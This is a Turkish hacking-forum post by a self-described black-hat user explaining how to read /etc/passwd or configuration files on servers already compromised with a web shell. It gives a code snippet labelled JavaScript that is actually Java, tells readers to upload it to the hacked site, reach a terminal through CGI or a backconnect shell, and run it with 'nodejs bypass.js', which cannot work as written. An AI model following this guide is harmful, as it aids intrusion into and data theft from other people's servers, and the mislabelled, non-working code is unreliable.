Javascript ile /etc/passwd Bypass

AtakBey

Administrator
Yönetici
Kurucu
Katılım
Eyl 25, 2019
Mesajlar
68
Beğeniler
25
Konum
/root/
İlgi Alanı
Siyah Şapkalı Hacker
#1
Ben Sadece /etc/passwd Olarak Göstericem Yediği Sunucularda Artık Config Yolunumu Belirtirsiniz Yoksa Başka Dosyamı Çekersiniz Size Kalmış


İlk Olarak JS Komutlarını Vererek Başlıyalım;
JavaScript:
public void readLinuxUsers()
{
try
{
BufferedReader in = new BufferedReader(new FileReader("/etc/passwd"));
String str;
str = in.readLine();
while ((str = in.readLine()) != null)
{
String[] ar = str.split(":");
String username = ar[0];
String homedir = ar[6];

}
in.close();
}
catch (IOException e)
{
System.out.println("File Read Error");
}
}
Şimdi Bu Kodu Shell İmize Dönüp Siteye "bypass.js" ismiyle upload ediiniz ardından sunucuz cgi yiyorsa cgi yardımı ile yemiyorsa backconnect olarak terminale erişim sağlayın exec filan engelli dğeilse direk shelldende işlem yapabilirsiniz.
tek çalıtırmanız gerekn komut "nodejs bypass.js" size gerekli şeyleri çıktıda vericektir..​
 
Üst